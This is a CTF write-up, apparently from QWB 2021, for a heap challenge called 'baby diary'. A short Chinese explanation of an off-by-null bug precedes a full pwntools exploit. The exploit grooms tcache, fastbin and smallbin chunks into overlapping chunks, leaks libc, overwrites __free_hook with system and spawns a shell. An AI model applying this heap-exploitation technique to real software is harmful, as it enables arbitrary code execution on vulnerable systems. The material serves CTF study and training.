Qwb2021 Pwn

baby diary

菜单题, 提供了write, read和delete功能, 漏洞点位于write功能里, 在malloc一个任意大小的chunk后, 输入结束会在输入的下一个位置补一个值, 造成off by null, 我们可以控制半个字节, 所以只能控制prev_inuse, 然后就是堆风水来布局搞重叠堆块.

from pwn import *
from pwnlib.adb.adb import interactive
from pwnlib.term.term import flush, put
from pwnlib.ui import pause
import os
filename = 'baby_diary'
libcname = 'libc-2.31.so'
context.arch = 'amd64'
debugger = 'pwndbg'
path = os.path.dirname(os.path.realpath(__file__))
file = ELF(path + '/' + filename)
libc = ELF(path + '/' + libcname)

DEBUG = False
DEBUG = True
if DEBUG:
context.log_level = 'debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
debug_command = ''
debug_command += ''
io = gdb.debug(path + '/' + filename, debug_command)
else:
# context.log_level = 'debug'
io = remote('chall.pwnable.tw', 10103)

def p():
info("PID:" + str(proc.pidof(io)))
pause()

lg = lambda name,data : p.success(name + ": 0x%x" % data)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)

def write(size, content):
sla('>> ', '1')
sla('size: ', str(size))
sla('content: ', content)

def read(index):
sla('>> ', '2')
sla('index: ', str(index))

def delete(index):
sla('>> ', '3')
sla('index: ', str(index))


# 0-6, 等下用来填tcache
for i in range(7):
write(0x38 - 1, 'chunk_' + str(i))

write(0x98 - 1, "chunk_7") # 7 调整堆地址, 让下一个堆块地址为 0x???????? ??????00
write(0xb40, "chunk_8") # 8 分配一个大chunk
write(0x10, "chunk_9") # 9 防止合并

delete(8) # 会被放入unsorted bin

write(0x1000, "chunk_8") # 8 使前面释放的unsorted bin放入large bin
write(0x38 - 1, "chunk_10") # 10 从large bin中分割一个chunk出来, 里面残留了libc信息和堆地址, 剩下的chunk会放入unsorted bin

write(0x38 - 1, "chunk_11") # 11 准备一些chunk后面用
write(0x80, "chunk_12") # 12 这些chunk都是从之前free的0xb40大小的chunk中分割出来的
write(0x38 - 1, "chunk_13") # 13
write(0x38 - 1, "chunk_14") # 14
write(0x38 - 1, "chunk_15") # 15
write(0x38 - 1, "chunk_16") # 16

# 填满tcache
for i in range(7):
delete(i)

delete(15) # 释放15和13号chunk, 由于tcache被填满, 这两个chunk会放在fastbins
delete(13) # 此时chunk_13 -> chunk_15 -> fastbins

# 清空tcache
for i in range(7):
write(0x38 - 1, 'chunk_' + str(i))

write(0x420, "chunk_13") # 13 申请一个大chunk, 从之前放在unsorted bin的chunk上分割
# 而之前在fastbin中的chunk会被放到small bin
write(0x38 - 1, p64(0x50)) # 15 把small bin中的chunk malloc下来, 另一个chunk则会被放进tcache


delete(10) #
write(0x38 - 1, b'\x00' * 7 + b'\x03' + p64(0x201)) # 10 伪造一个chunk, 残留的堆地址被改为0x???????600

write(0x38 - 1, "chunk_17") # 17 申请另一个small bin

# 填tcache
for i in range(7):
delete(i)

delete(11) #
delete(10) #

# 清空tcache
for i in range(7):
write(0x38 - 1, 'chunk_' + str(i))

write(0x38 - 1, '') # 10

delete(16)
write(0x38 - 1, '\x00' * 0x37) # 16 修改prev_inuse
delete(11)
write(0x38 - 1, '\x00' * 0x2f + '\x20') # 16 修改prev_size

delete(13)

write(0x30, 'chunk_11') # 11
write(0x20, 'chunk_18') # 18
write(0x30, 'chunk_19') # 19

read(12)

libc_base = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0

delete(17)
delete(15)

sysaddr = 0x55410 + libc_base
freehook = 0x1eeb28 + libc_base

write(0xa0, b'\x00' * 0x88 + p64(0x41) + p64(freehook)) # 15
write(0x30, '/bin/sh\x00') # 17
write(0x30, p64(sysaddr)) # 20
delete(17) #
io.interactive()

Reference

https://mp.weixin.qq.com/s/FfmHF_yZfJY7o9C7W8JCJA
https://mp.weixin.qq.com/s/WFF5Fp7xjwFuW3X-4V8rYw